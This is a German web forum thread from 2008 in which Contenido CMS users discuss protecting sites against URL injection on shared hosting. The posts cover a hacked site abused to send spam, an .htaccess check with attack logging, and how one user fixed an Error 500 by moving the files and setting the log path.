Eine im Aufbau befindliche Seite mit Contenido 4.6.23 im shared Hosting bei 1und1 wurde darüber gehackt und dieser Newsletter-Job zum Versand von Spam missbraucht :(

Anmerkung:
Ich habe nun die .htaccess-Prüfung mit Log von oben installiert und beobachte da derzeit Angriffsversuche auf das bei mir gar nicht installierte 4.8.4 , genauer auf die Backend-Suche.

[Edit] Tippfehler

Louis
Beiträge: 206
Registriert: Mo 27. Okt 2003, 12:28
Kontaktdaten:

Re: Contenido gegen URL-Injection im Shared Hosting schützen

Beitrag von Louis » Fr 20. Jun 2008, 21:26

woldini hat geschrieben:Leider haben wir beim Provider Hosteurope die unangenehme Erfahrung gemacht, dass im Zusammenspiel von Rewriting des Servers mit PHP 4 durch die vorherrschende Konfiguration ein Fehler auftrat. Der Aufruf einer Folgeseite im Browser nach dem Aufruf der Startseite zeigte plötzlich in Mozilla den PHP-Code der Folgeseite an.
Kannst du das mal genauer beschreiben, bzw. ist das noch aktuell?
Ich habe gerade sicherheitshalber mal die htaccess und attackmsg.php auf eine 4.6.8 bei Hosteurope geschoben und es scheint mit Firefox 2.0.0.14 und MSIE 6 problemlos zu funktionieren, trotzt PHP 4.4.7 und allow_url_fopen=on.

Nicht dass ich Probleme mit Hackern gehabt hätte, aber sicher ist sicher - und demnächst wird sowieso auf php5 und eine 4.8 umgestellt......
Wir können den Wind nicht ändern, aber die Segel anders setzen
(Aristoteles)

yodatortenboxer
Beiträge: 424
Registriert: Do 22. Jan 2004, 14:45
Wohnort: Kölpinsee auf Usedom
Kontaktdaten:

Beitrag von yodatortenboxer » Sa 21. Jun 2008, 07:41

Error 500 - Internal server error

Ein interner Fehler ist aufgetreten!
Bitte versuchen Sie es zu einem späteren Zeitpunkt.
Das war bei mir am Anfang auch so.
Bei mir lag es daran das ich normal den Ordner CMS und Contenido usw. unter dem Root hatte, also in der Form von

Code: Alles auswählen

http://www.domain.de/cms/
Direket unter der Domain ist auch meine htaccess Datei für das MR und dann habe ich auch diese editiert und auch die attackmsg.php dementsprechend direkt unter die Domain gelegt, also parallel zu den Contendio-Ordnern und da kam bei mir dann der Error 500.
Ich habe dann das ganze nocheinmal direkt in das CMS Verzeichnis kopiert da ich ja in dem Beispiel die front_content.php aus dem CMS Verzeichnis aufrufe und siehe da, es ging.
Als Pfad musste ich dann in der attackmsg.php noch den absuluten Severpfad für das log scipthinterlegen, also /srv/www/v-host...../contenido/logs/_attack.log da es anders zu einer Fehlermeldung kam.
Dann war alles Prima.

Antworten